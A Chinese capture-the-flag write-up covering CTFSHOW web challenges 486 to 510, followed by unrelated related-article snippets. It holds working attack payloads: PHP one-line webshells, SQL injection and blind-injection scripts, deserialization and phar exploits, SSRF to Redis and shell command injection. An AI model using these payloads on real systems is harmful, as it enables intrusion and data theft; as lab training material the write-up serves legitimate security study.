【Web】CTFSHOW 中期测评刷题记录(1)

目录

web486

web487

web488 

web489 

web490 

web491

web492

web493 

web494 

web495 

web496

web497

web498

web499 

web500 

web501

web502

web503 

web505

web506 

web507 

web508 

web509

web510 


web486

扫目录

初始界面尝试文件包含index.php,从报错知道其可以目录穿越读文件

 login.php是在./templates下的,而./flag.php与./templates均为web目录

payload:

?action=../flag

右键查看源码拿到flag 

web487

?action=../index

 存在sql注入

 没有waf,直接sqlmap跑出来

sqlmap -u "https://648b315b-136d-427f-b332-417f4865f221.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -T ctf -C ctf --dumps

web488 

?action=../index

关注点在templateUtil的静态方法上,从index.php一开始include的文件入手

?action=../render/render_class

?action=../render/cache_class

整体利用链很清晰

templateUtil::render($action) -> templateUtil::shade($templateContent,$arg)-> cache::create_cache($template,$cache) -> fileUtil::write('cache/'.md5($template).".php",$content)

注意到用./template/error.php中存在{{username}},可以用其cache来写马

重开个靶机再打入 

index.php?action=check&username=<?php eval($_POST[1]);?>&password=12345

注意到{{username}}已经成功被替换为php代码 

 <?php
echo md5("error");
//cb5e100e5a9a3e7f6d1fd97512215282

再访问./cache/cb5e100e5a9a3e7f6d1fd97512215282.php

命令执行拿flag

web489 

和上题一样,在render处打入模板覆盖,用cache写马,但这次只能利用index

配合变量覆盖,让if永真,并让username为一句话木马

/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select%201;

 访问./cache/6a992d5529f459a44fee58c733255e86.php,命令执行拿flag

<?php
echo md5("index");
//6a992d5529f459a44fee58c733255e86

 

web490 

还是模板注入./templates/index

/index.php?action=check&username=' union select '<?php eval($_POST[1]);?>' --+&password=1

 直接去打会报语法错误

这时候重开下靶机再去读./templates/index.php,发现是给了提示的

我们模板注入的内容是被<?=?>所包裹,因此要改下payload

/index.php?action=check&username=0' union select "`cat /f*`"--+

 再访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web491

 

这下不能打模板注入了,但可以时间盲注 

import requests

string = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-"
url = "http://bbfa1c77-aef0-4827-bd1f-6eafb26e85d0.challenge.ctf.show/index.php?action=check&username="
payload = ""
end = "&password=1"


def exp():
    ret = ""
    for x in range(1, 50):
        for y in string:
            payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(x, y)
            try:
                req = requests.get(url + payload + end, timeout=2)
            except:
                ret += y
                print(ret)


if __name__ == '__main__':
    exp()

 

web492

关于select_one_array

  • 执行一个 SQL 查询。
  • 返回查询结果的第一条记录。
  • 将这条记录作为数组返回,其中每个数组元素代表一个数据库字段。

模板有一个自动参数绑定,传进去一个$user,获取$user[username]来替换

直接走变量覆盖,绕过查库过程

payload:

?action=check&username[]=1&password=1&user[username]=<?php eval($_POST[1]);?>

 访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag

web493 

 可以在$_COOKIE处打反序列化

?action=../render/db_class

读到可以利用的恶意类

  

 exp:

<?php
class dbLog{
    public $sql;
    public $content='<?php eval($_POST[1]);?>';
    public $log='yjh.php';
}
$a=new dbLog();
echo serialize($a);

在Cookie处打入user参数,成功反序列化 

访问./yjh.php,命令执行拿flag

web494 

不是很理解这段正则的意义何在(

和上题一样打

 flag在数据库里,连蚁剑

 拿到flag 

web495 

和上题一样

 拿到flag

web496

过滤了or

用变形的万能密码登录

' || 1=1#

?action=../api/admin_edit 

 存在查库的操作就会存在布尔盲注的空间

import requests
import string
url="http://f7a0f625-bcc6-43e5-b84d-ea086553a12b.challenge.ctf.show"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"'||1#","password":1})
flag=""
for i in range(9,70):
        print(i)
        for j in s:
            data={
            'nickname':str(i*2)+str(j), #不让nickname重复就行
            #'user[username]':"'||if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
            #'user[username]':"'||if(substr((select  group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
            'user[username]':"'||if(substr((select  flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)

            }
            r=sess.post(url+"/api/admin_edit.php",data=data)
            if("u529f" in r.text):
                flag+=j
                print(flag)
                break

 

web497

和上题一样用万能密码登录

点击修改图像,尝试读靶机文件

 

 

 base64解码得flag

 

web498

万能密码登录

修改头像不能直接读/flag

尝试用gopher探测内网组件,结果靶机直接崩了😡,换dict测出来6379

dict://127.0.0.1:6379

 

gopherus生成payload,打入

 

 

访问./shell.php,命令执行拿flag

 

web499 

SSRF打不通了

与上一题相比多了一个系统配置的功能

 

?action=../api/admin_settings

读源码看到写文件操作 

直接在提交页面写马

 

访问./config/settings.php,命令执行拿到flag 

 

web500 

新功能

 

?action=../api/admin_db_backup 

shell_exec可以进行一个命令拼接,无回显RCE考虑写文件

 ;cat /f*>/var/www/html/flag.txt

 

web501

?action=../api/admin_db_backup

多了一段正则 

  • '^zip' 表示匹配以 "zip" 开头的字符串。
  • 'tar' 在任何位置匹配 "tar"。
  • 'sql$' 表示匹配以 "sql" 结尾的字符串。

 直接访问./api/admin_db_backup.php

payload:

db_format=;cat /f*>/var/www/html/tar.txt

 访问./tar.txt拿到flag

 

web502

这段正则检查字符串 db_format 是否严格等于 "zip"、"tar" 或 "sql",db_format是没戏唱了

但可以用$pre来拼接

payload:

db_format=zip&pre=1.txt;cat /f*>/var/www/html/tar.txt;

访问./tar.txt拿到flag

 

web503 

可以看到shell_exec因为md5的限制,所以不再能利用

多出了file_exists的利用点,可以用上面提到的恶意类打phar反序列化 

此外多了一个上传logo的功能,稳了

生成恶意phar包,后缀改png,直接上传

<?php
class dbLog{
	public $sql;
	public $content="<?php eval(\$_POST[1]);?>";
	public $log="yjh.php";
}

$c=new dbLog();

$phar = new Phar("ctfshow.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();

?>

 

拿到文件上传路径 

 

访问./api/admin_db_backup.php

payload:

pre=phar:///var/www/html/img/3318913d41c2966fc209201c9132b81b&db_format=.png

访问./yjh.php,命令执行拿flag

web505

多了一个文件查看功能

 

 

 

读api/admin_file_view.php的源码

直接data伪协议来包含

payload:

debug=1&f=data://text/plain,user<?php system('tac /f*');?>

web506 

和上题一样

web507 

一样

web508 

把伪协议给waf掉了

找文件上传点写恶意文件

上传网站logo就可以

文件内容是user拼接命令执行

拿到文件上传路径

 

payload:

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web509

在logo上传处对文件内容有过滤

直接上最短一句话

user<?=`$_GET[1]`;

 

 拿到文件上传路径

debug=1&f=/var/www/html/img/f418ad41b0e1cf4bbfcc47e67df49f94.png

web510 

对上传文件内容更为严格,并且因为md5的原因,也不能走配置文件base64解密包含的奇技淫巧

于是走session文件包含,其开头还正好是user,完美利用

修改用户信息,写一句话 

 成功修改

 最终payload:

debug=1&f=/tmp/sess_92ke6l244el6unol1mei073gj2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/590099.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

WSL2连接Windows主机的Mysql

文章目录 需求查看主机IP防火墙设置Mysql设置允许远程连接WSL2连接Mysql 需求 在WSL2&#xff08;本机Ubuntu20.04&#xff09;运行的程序需要将数据写入到本机的Mysql服务器中 查看主机IP 两种办法&#xff1a; Windows主机输入 ipconfig&#xff0c;找到带有WSL后缀的部分…

C 语言笔记:字符串处理函数

一、获取字符串长度函数 头文件&#xff1a;#include <string.h> 函数定义&#xff1a;size_t strlen(const char *s); 函数功能&#xff1a; 测字符指针 s 指向的字符串中字符的个数&#xff0c;不包括’\0’ 返回值&#xff1a;字符串中字符个数 #include <stdio.…

不坑盒子激活码免费领取

不坑盒子的一些新出来的大功能&#xff0c;都需要账号有Pro权限才能使用了。 关键是这些功能还很强大呢&#xff01;不用还不行&#xff01; 今天发现一个可以免费领不坑盒子Pro激活码的方法&#xff1a; 扫码进去后&#xff0c;就能看到激活码了&#xff1a; 复制激活码&…

基于alpha shapes的边缘点提取(matlab)

1、原理介绍 由Edelsbrunner H提出的alpha shapes算法是一种简单、有效的快速提取边界点算法。其克服了点云边界点形状影响的缺点&#xff0c;可快速准确提取边界点。如下图所示&#xff0c;对于任意形状的平面点云&#xff0c;若一个半径为a的圆&#xff0c;绕其进行滚动&…

基于Java+SpringBoot+Mybaties-plus+Vue+elememt+hadoop + redis 医院就诊系统 设计与实现

一.项目介绍 前端&#xff1a;患者注册 、登录、查看首页、医生排班、药品信息、预约挂号、就诊记录、电子病历、处方开药、我的收藏 后端分为&#xff1a; 医生登录&#xff1a;查看当前排班信息、查看患者的挂号情况、设置患者就诊记录、电子病历、给患者开药和个人信息维护 …

安装部署大语言模型 | 通义千问

下载安装 进入ollama的仓库下载 「 qwen 7b 」 libraryGet up and running with large language models.https://ollama.com/library查找阿里的 「 qwen 」 根据自己的电脑配置情况&#xff0c;选择合适的模型 总体来说&#xff0c;模型是越大&#xff0c;效果越好&#xff0c…

Jammy@Jetson Orin Nano - Tensorflow GPU版本安装

JammyJetson Orin Nano - Tensorflow GPU版本安装 1. 源由2. 问题2.1 Tensorflow跑以下示例代码的时候&#xff0c;发现jtop中6个CPU占用率都跑满了。2.2 Jetson Orin Nano运行Tensorflow示例结果不一致 3. 分析3.1 当前版本Tensorflow 2.16.13.2 GPU版本二进制安装3.3 GPU版本…

Nginx深度解析:核心特性、应用场景与全局、events、http等全面配置指南

Nginx是一款高性能的Web服务器与反向代理服务器软件&#xff0c;以其高并发处理能力、低内存消耗和反向代理负载均衡功能闻名。它通过事件驱动、异步非阻塞I/O模型&#xff0c;实现了极高的效率和稳定性&#xff0c;广泛应用于网站部署、API代理、静态资源服务及微服务架构中&a…

边沿JK触发器

边沿JK触发器 电路组成 & 逻辑符号 工作原理 Q n 1 D Q^{n1}D Qn1D J Q n ‾ K Q n ‾ \overline{\overline{JQ^n}KQ^n} JQn​KQn​ ( J Q n ) ( K ‾ Q n ‾ ) (JQ^n)(\overline{K}\overline{Q^n}) (JQn)(KQn​) J K ‾ J Q n ‾ K ‾ Q n Q n ‾ Q n J\over…

《HCIP-openEuler实验指导手册》1.6 Apache静态资源配置(目录访问)

知识点 常用用途&#xff1a; 软件仓库镜像及提供下载服务&#xff1a; 配置步骤 删除网站主目录中的文件&#xff08;本实验机目录为/home/source ip为192.168.12.137 端口为81&#xff09; cd /home/source rm -rf *在主目录中新建6个文件夹如下图 mkdir test{1..6}新建…

Eclipse 开创性地集成 Neon Stack,将 EVM 兼容性带到 SVM 网络

2024年5月2日&#xff0c;全球——在塑造区块链网络的战略联盟的过程中&#xff0c;Eclipse 通过集成 Neon EVM 核心团队开发的技术堆栈 Neon Stack&#xff0c;成为首个打破 EVM-SVM 兼容性障碍的生态。 Eclipse 旨在通过结合以太坊和 Solana 的最佳特性&#xff0c;来重构区…

SpringBoot-@Transactional注解失效

Transactional注解失效 Transactional失效场景 以下是一些常见导致Transactional注解失效的场景&#xff0c;配合相应的Java代码演示&#xff1a; 1、方法修饰符非公开&#xff08;非public&#xff09; Transactional注解失效的原因在于Spring事务管理器如何实现对事务的代…

LeetCode135:分发糖果

题目描述 n 个孩子站成一排。给你一个整数数组 ratings 表示每个孩子的评分。 你需要按照以下要求&#xff0c;给这些孩子分发糖果&#xff1a; 每个孩子至少分配到 1 个糖果。 相邻两个孩子评分更高的孩子会获得更多的糖果。 请你给每个孩子分发糖果&#xff0c;计算并返回需…

Java -- (part20)

一.Map集合 1.概述 双列集合的顶级接口 2.实现类 HashMap 特点: a.key唯一,value可重复->如果key重复了,会发生value覆盖 b.无序 c.无索引 d.线程不安全 e.可以存null键null值 数据结构: 哈希表 方法: LinkedHashMap 特点: a.key唯一,value可重复->如果ke…

动态规划-回文子串问题

文章目录 1. 回文子串&#xff08;647&#xff09;2. 最长回文子串&#xff08;5&#xff09;3. 分割回文串 IV&#xff08;1745&#xff09;4. 分割回文串 II&#xff08;132&#xff09;5. 最长回文子序列&#xff08;516&#xff09;6. 让字符串成为回文串的最少插入次数&am…

【千帆平台】使用AppBuilder三步手搓应用创建精准多轮对话agent之K12互动式练习题

欢迎来到《小5讲堂》 这是《千帆平台》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 前言创建应用应用头像应用名称应用描述角色指令能力扩展开场白 …

ImportError: DLL load failed while importing win32api: 找不到指定的模块

问题描述 在pip install pywin32后有概率出现import win32api 报错ImportError: DLL load failed while importing win32api: 找不到指定的模块。怎么解决&#xff0c;更新重装都不行。下面给出个人可行的解决方案。 解决方案&#xff1a; 1、打开cmd切换到环境的Scripts文件…

【Linux】常用命令大揭秘,轻松驾驭终端世界

常见命令大全 概念1.1&#xff1a;开源、闭源的区别1.2&#xff1a;应用场景 发行版XShell3.1&#xff1a;使用XShell登入主机3.2&#xff1a;普通用户的增加、删除3.3&#xff1a;查看账户的信息whoami指令who指令 文件和目录基本命令4.1&#xff1a;指令的周边知识文件路径Li…

基于Unity+Vue通信交互的WebGL项目实践

unity-webgl 是无法直接向vue项目进行通信的&#xff0c;需要一个中间者 jslib 文件 jslib当作中间者&#xff0c;unity与它通信&#xff0c;前端也与它通信&#xff0c;在此基础上三者之间进行了通信对接 看过很多例子&#xff1a;介绍的都不是很详细&#xff0c;不如自己写&…

大语言模型在人类层面预测未来的研究与应用

概述 这项研究将探讨语言模型&#xff08;LM&#xff09;能否预测未来事件。在这项研究中&#xff0c;将开发一个系统来自动收集信息、生成和汇总预测结果。将从一个竞争性预测平台收集有关问题的数据&#xff0c;以评估 LM 的预测能力。结果表明&#xff0c;LM 可以与具有竞争…